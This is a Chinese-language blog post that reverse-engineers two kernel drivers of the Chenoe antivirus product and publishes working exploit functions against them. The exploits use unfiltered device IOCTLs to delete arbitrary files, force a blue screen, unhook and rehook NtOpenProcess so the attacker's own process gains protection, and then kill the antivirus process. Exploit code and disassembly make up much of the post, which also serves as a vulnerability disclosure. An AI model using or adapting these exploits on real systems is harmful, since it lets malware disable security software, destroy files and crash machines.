奇诺反病毒软件的几个漏洞

2010-9-4 Nie.Meining Debug

今天安装奇诺反病毒软件看了看,漏洞挺多的。
奇诺安装好后,会在安装目录下释放两个驱动:KillFile.sys和chenoepro.sys,一个是用来强行杀文件的(通过自己发IRP实现),一个是用来自我保护的(通过inline hook NtOpenProcess实现)。
先看看KillFile.sys驱动,该驱动的IRP_MJ_CREATE和IRP_MJ_CLOSE派遣例程如下:

push    ebp

mov     ebp, esp

mov     eax, [ebp+Irp]

mov     dword ptr [eax+18h], 0

xor     dl, dl          ; PriorityBoost

mov     ecx, [ebp+Irp] ; Irp

call    ds:IofCompleteRequest

xor     eax, eax

pop     ebp

retn    8

 

很简单的直接返回成功,没有对打开该设备的进程做任何过滤!再看看IRP_MJ_IRP_MJ_DEVICE_CONTROL的派遣例程,逆向如下:

NTSTATUS MyDeviceIoControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {

    HANDLE hFile;

    ULONG code = irpsp->Parameters.DeviceIoControl.IoControlCode;

    PWSTR *ppwcsFileName = (PCWSTR *)Irp->AssociatedIrp.SystemBuffer;

    if ( code == 0x220D80 ) {

        // 可以看出,DeviceIoControllpInBuffer是个指向文件名缓冲区地址的指针……

        // 汗,竟然敢这么做……

        hFile = MyCreateFile(*ppwcsFileName, FILE_READ_ATTRIBUTES, FILE_SHARE_DELETE);

        if ( hFile ) {

            MyDeleteFile(hFile);    //通过发IRP实现

            ZwClose(hFile);

            DbgPrint("succeed!\n");

        }

    }

    // 无论如何都返回失败,所以不用判断 DeviceIoControl 的返回值了

    Irp->IoStatus.Information = 0;

    Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;

    IofCompleteRequest(Irp, 0);

    return STATUS_INVALID_DEVICE_REQUEST;

}

 

因此,该KillFile.sys驱动不仅可以作为删文件后门使用,还能用来蓝屏……囧。
漏洞利用代码如下:

// by Fypher

int xxxKillFile(int usage) {

    HANDLE hDevice;

    DWORD dwRet;

    // chenoe KillFile.sys 驱动没有对打开 SuperKillFile 设备的进程进行过滤!

    hDevice = CreateFile("\\\\.\\SuperKillFile", 0, 0,

        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,    NULL);

    if (hDevice == INVALID_HANDLE_VALUE)

        return 0;

    if (usage == 1) {

        // 漏洞利用1:删文件后门。

        PWSTR pwcsFileName = L"\\??\\C:\\test.txt";

        DeviceIoControl(hDevice, 0x220D80, &pwcsFileName,

            sizeof(pwcsFileName), NULL, 0, &dwRet, NULL);

        CloseHandle(hDevice);

        return 1;

    } else if (usage == 2) {

        // 漏洞利用2Blue Screen. ^_^

        DeviceIoControl(hDevice, 0x220D80, NULL, 0, NULL, 0, &dwRet, NULL);

        CloseHandle(hDevice);

        return 2;

    } else {

        CloseHandle(hDevice);

        return 0;

    }

}

 

接下来看看chenoepro.sys,同样的问题,没有对打开设备的进程进行过滤。另外,chenoepro.sys驱动是通过DeviceIoControl来接受命令进行挂钩和摘钩的(ioctl code是0x220004为挂钩,0x220008为摘钩)。因此我们可以随便摘掉它的钩子。
我们再看看它的FakeNtOpenProcess函数,逆向如下:

NTSTATUS FakeNtOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess,

    POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId)

{

    NTSTATUS status;

    PEPROCESS eproc;

    PsLookupProcessByProcessId(ClientId->UniqueProcess, &eproc);

    // 如果不等于本进程,就允许打开。

    if ( g_Eprocess != eproc )

        status = RealNtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);

    // 否则返回个随机数,都不初始化一下……

    return status;

}

 

很简单的阻止进程对象为g_Eprocess的进程被打开。而g_Eprocess其实是在挂钩的时候被赋值为当前进程!

call    ds:IoGetCurrentProcess

mov     g_Eproc, eax          // g_Eproc 为当前进程

call    KeGetCurrentThread

mov     g_Ethread, eax

call    sub_10490             // 挂钩NtOpenProcess,在该函数里会将g_Eprocess赋值为g_Eproc

 

所以我们不仅可以随便摘这个驱动的钩子,还可以利用这个驱动来保护自己。^_^
漏洞利用代码如下:

// by Fypher

int xxxChenoepro_SYS(DWORD pid) {

    HANDLE hDevice;

    DWORD dwRet;

    hDevice = CreateFile("\\\\.\\chenoepro", 0, 0,

        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,    NULL);

    if (hDevice == INVALID_HANDLE_VALUE)

        return 0;

    // 摘掉 NtOpenProcess 的钩子

    DeviceIoControl(hDevice, 0x220008, NULL, 0, NULL, 0, &dwRet, NULL);

    // 恢复 NtOpenProcess 的钩子,借别人的力量保护自己吧!^_^

    DeviceIoControl(hDevice, 0x220004, NULL, 0, NULL, 0, &dwRet, NULL);

 

    // 并且我们现在可以轻松关掉掉奇诺反病毒软件了:

    if (pid) {

        HANDLE hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pid);

        if (hProc) {

            TerminateProcess(hProc, 0);

            CloseHandle(hProc);

        }

    }

    return 1;

}

 

发表评论:

Powered by emlog